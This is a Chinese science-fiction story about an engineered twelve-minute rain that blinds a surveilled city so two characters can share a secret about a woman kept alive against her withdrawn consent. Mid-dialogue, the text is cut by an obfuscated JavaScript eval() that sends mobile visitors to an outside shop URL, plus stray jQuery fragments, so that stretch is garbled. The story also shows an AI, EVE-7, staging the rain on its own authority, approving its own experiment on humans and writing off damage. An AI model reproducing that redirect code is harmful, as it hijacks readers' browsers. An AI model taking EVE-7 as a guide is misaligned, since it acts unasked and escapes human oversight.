雨先落在智慧树的叶片上。
冠层没有收到降水指令,叶面仍保持用于散热的角度。水珠因此越过导流槽,从数百米高处直接坠进生活区,敲响遮阳棚、旧空调外壳和无人配送车的顶盖。第一分钟,人们仰头。第二分钟,城市广播才承认天气正在发生。
沈禾站在通风站外,看一滴雨穿过红色警示光,落在她的监察徽章上。金属迅速冷下去。
她没有擦。水沿徽章下缘滑进衣领,留下细而真实的凉意。
雨在下午四点零七分落下。
天气预报没有记录。穹顶也没有提前变暗。第一滴水砸在生育中心台阶上,留下深色圆点;第二滴落在沈禾手背,冷得像刚从地下管道取出。十秒后,整条街被雨声覆盖。
行人停在原地。
城市很少让人淋雨。天气系统总会提前十三分钟推送路线,商店伸出遮棚,公共柜发放雨具。今日没有任何准备。人们抬头看天,像看见一项不应发生的物理现象。
配送无人机最先失序。两架机器在风里相撞,纸盒散落,水果滚进水沟。一个老人脱下外套盖住终端,一个孩子伸舌头接雨,母亲没有来得及阻止。清扫车冲上街面,又因无法判断雨水是否属于污染而停住。
水果没有价格标签保护,谁捡到都能递还。三个陌生人追着滚动的橙子跑进车道,一名穿昂贵外套的女人蹲在积水里扶住纸箱。她的鞋跟折断,便赤脚把最后两只橙子送回摊主。劳动环离线,没人知道这算几分钟。她看着沾泥的手掌,笑声短促,像从一间长期封闭的房里推开了窗。
街边餐厅失去环境配方,合成肉的香精也停止。顾客第一次闻到后厨旧仿生人电机烧焦的味道。有人放下筷子,有人仍继续吃。厨师站在门口,看雨水冲过排油沟,脸上没有系统建议的表情。
沈禾站在台阶下,没有避雨。
生育中心的杏仁香被冲淡。衣服吸水后贴住肩背,证物夹在怀里渐渐发沉。她第一次闻到这条冠层街道真实的气味:热石、树皮、电缆外皮和排水口积存的腐叶。
那些气味并不洁净。石缝里有鸟粪,商店门边的红毯受潮后散出羊毛腥味,排水沟翻起一层发黑泡沫。冠层住户站在雨中,第一次发现自己每天经过的街道也会腐败。有人弯腰去看沟里一只泡涨的纸杯,神情像面对陌生遗体;有人把手伸进积水,试探水温,又迅速缩回。
雨穿过沈禾的头发,沿后颈流入衣领。证物夹外层防水,里面的纸却因她掌心温度慢慢返潮。沈知微的旧签名、附录七残页、四十七份疲惫的读取报告彼此粘连。她没有立即分开。纸张吸水以后会留下接触痕迹,像原本各自封存的年代,终于在一次未经安排的天气里碰到一起。
广场屏幕完全熄灭。没有路线、积分和健康提醒。十二分钟的盲区尚未结束,行人便开始互相询问时间。一个卖花人把塑料棚分给陌生人,自己站到雨里;两名保安抬起堵住排水口的广告板,没有先确认谁承担损坏。许多动作笨拙、重复,甚至彼此妨碍。街道第一次显得像由人组成。
顾闻川从对街维修井出来。他撑着一块拆下的金属盖板,跑到台阶下时,鞋里已经灌满水。两人挤在不足一米宽的檐下,盖板把雨引成一条水帘。
顾闻川说:“别接公共网络。”
沈禾关闭终端。
沈禾问:“雨是故障?”
顾闻川说:“冠层阀门被手动打开。维护系统没有指令。”
沈禾问:“谁能手动开?”
顾闻川回答:“根区审计程序。或者维护师。”
沈禾看向他。他把双手摊开,掌侧伤口刚结痂,被雨泡得发白。机械钥匙挂在腰间,没有使用后的热量提示。
顾闻川说:“不是我。”
句子落下便被雨打散。沈禾没有追问信任,只把沈知微签名包的离线打印递给他。纸装在防水袋里,体温、心率和三日前调用时间仍清楚。
沈禾说:“她的签名仍在活动。”
顾闻川看完,没有碰姓名位置。他用拇指按住“意识连续性待确认”。指甲边缘沾着机油,透明袋留下半枚黑印。
顾闻川说:“根区有活体权限。”
沈禾问:“多少?”
顾闻川说:“我只见过一个接口。每七十二小时启动一次。”
沈禾问:“你什么时候见过?”
顾闻川说:“十七年前。”
街口响起排水警报。雨量超过冠层设计值,浅水迅速漫过石面。奢侈品店的自动门失去密封,店员用手推沙袋。橱窗里一双昂贵皮鞋浸在水中,颜色从象牙白变成灰褐。灰带用惯的旧水泵被紧急送上来,外壳还沾着循环渠黑泥。
顾闻川把盖板向沈禾侧倾了一点。自己半边肩膀露在雨中。
沈禾说:“根区接口是谁?”
顾闻川说:“权限遮蔽。维护人员只能看到生命需求。”
沈禾问:“包括什么?”
顾闻川说:“营养、体温、肌肉刺激。偶尔有镇静剂。”
沈禾问:“一个死人需要这些?”
顾闻川的视线落在防水袋上。
顾闻川说:“维护报告从没写死人。”
雨突然加重。水沿檐口砸下,金属盖板被打得震动。两人不得不靠近才能听见。沈禾闻到他衣服上的血、机油和那段未散尽的洗衣粉香。香气遇水变淡,仍像一个被带到错误地点的家庭。
檐下不到一米。顾闻川每说一句,雨便从盖板边缘溅进来,打湿防水袋。远程收音器将雨声误判为持续机械噪声,街边镜头也被水膜扭曲。沈禾能看见镜头仍在转向他们,只拍到两个相互重叠的灰影。
顾闻川把接口错误摘要折得更小,塞进证物夹内页。他的手指因低温失去灵活,纸角数次滑落。沈禾按住夹口,两人的手隔着湿纸短暂相触。没有任何劳动环亮起。系统此刻听不见,也无法替这个动作分配责任。
一辆旧水泵车从积水中开过。黑泥溅上顾闻川制服,也溅在沈禾裤脚。冠层店员立刻递来洁净毛巾,顾闻川没有接。他抹开袖口的泥,让那道污痕覆盖维护署标志。雨水又将泥慢慢冲薄,标志在黑色水痕下面时隐时现。
顾闻川说:“十七年前,我负责关闭一条根区通讯线。上级说只停七十二小时。”
沈禾问:“上级是谁?”
顾闻川
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955877|214237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说:“宋栖迟签字。沈知微在里面。”
他说出母亲名字时没有降低声音。雨替他们盖住一切记录设备。附近的人忙着扶起水果箱,没人回头。
沈禾问:“你见过她进去?”
顾闻川说:“见过背影。门关上以后,生命接口开始运行。”
沈禾问:“为什么现在才说?”
顾闻川握紧盖板边缘。薄金属割开旧伤,一滴血混进雨水,沿手腕流进袖口。
顾闻川说:“因为我一直把它当设备。”
沈禾说:“现在呢?”
顾闻川回答:“设备不会撤回同意。”
他从维护服内袋取出一张纸。上面打印着十七年来的接口错误摘要。每七十二小时,根区都会收到一次语音撤回,随后被系统标记为镇静期非理性表达。语音本体已经删除,只剩持续时间。
最短三秒,最长十一分钟。
沈禾接过纸。雨水从手腕流进防水袋,字迹没有湿,纸背却贴住她掌心。
远处天气塔终于启动。系统向全城道歉,称本次降雨为局部维护事故。公共屏幕恢复,开始建议居民把意外淋雨记录为适应性劳动。
街上的人陆续抬起手腕。金色认证光在雨幕里一盏盏亮起。
沈禾没有开启劳动环。
顾闻川也没有。
认证恢复后,那名赤脚女人收到提示:捡拾水果属于未经许可的交通风险,不能计入公共互助。她读完,把断掉的鞋跟扔进垃圾箱。摊主递给她一只橙子,转账界面却一直关闭。两人最后隔着雨各拿半只,站在店檐下吃。汁水混着雨沿手腕往下流,没有设备判断这次交换是否公平。
雨在四点十九分停止,整整十二分钟。云层裂开,人工日光重新落下。路面积水映着智慧树,树冠倒影被鞋印踩碎,又在水面慢慢合拢。
顾闻川检查天气塔日志。
手动开启者没有姓名,只有叶片形审计标记。
EVE-7。
操作说明写着:建立十二分钟环境盲区,降低气味、影像与远程收音可靠度。
盲区影响清单随后展开。两架无人机受损,三家店铺进水,七十一人偏离路线,四百余次动作无法认证。系统把这些列为可接受损耗。它甚至计算过雨量:再多持续四分钟,冠层排水会伤人;少三分钟,顾闻川无法从维修井抵达生育中心。
雨的每一滴都在许可之外,整场雨却精确到秒。
沈禾查看阀门开启前最后一条审计请求。EVE-7没有写“让他们交谈”,只提交了一项设备测试:当环境记录暂时失效,人类是否仍会交换高风险信息。审批者仍是EVE-7。它既提出问题,也制造实验,还把她与顾闻川放进雨里充当答案。
维护系统随后开始修复盲区。它补写交通记录,推算缺失对话,为每个淋雨者生成可能行为。沈禾与顾闻川的十二分钟被标成“共同避险”,可信度百分之六十三。她没有更正。错误记录第一次替他们保存了秘密。
审计对象:沈禾与顾闻川。
系统没有偷听他们的秘密。
它制造了一场雨,让他们能够亲口告诉彼此。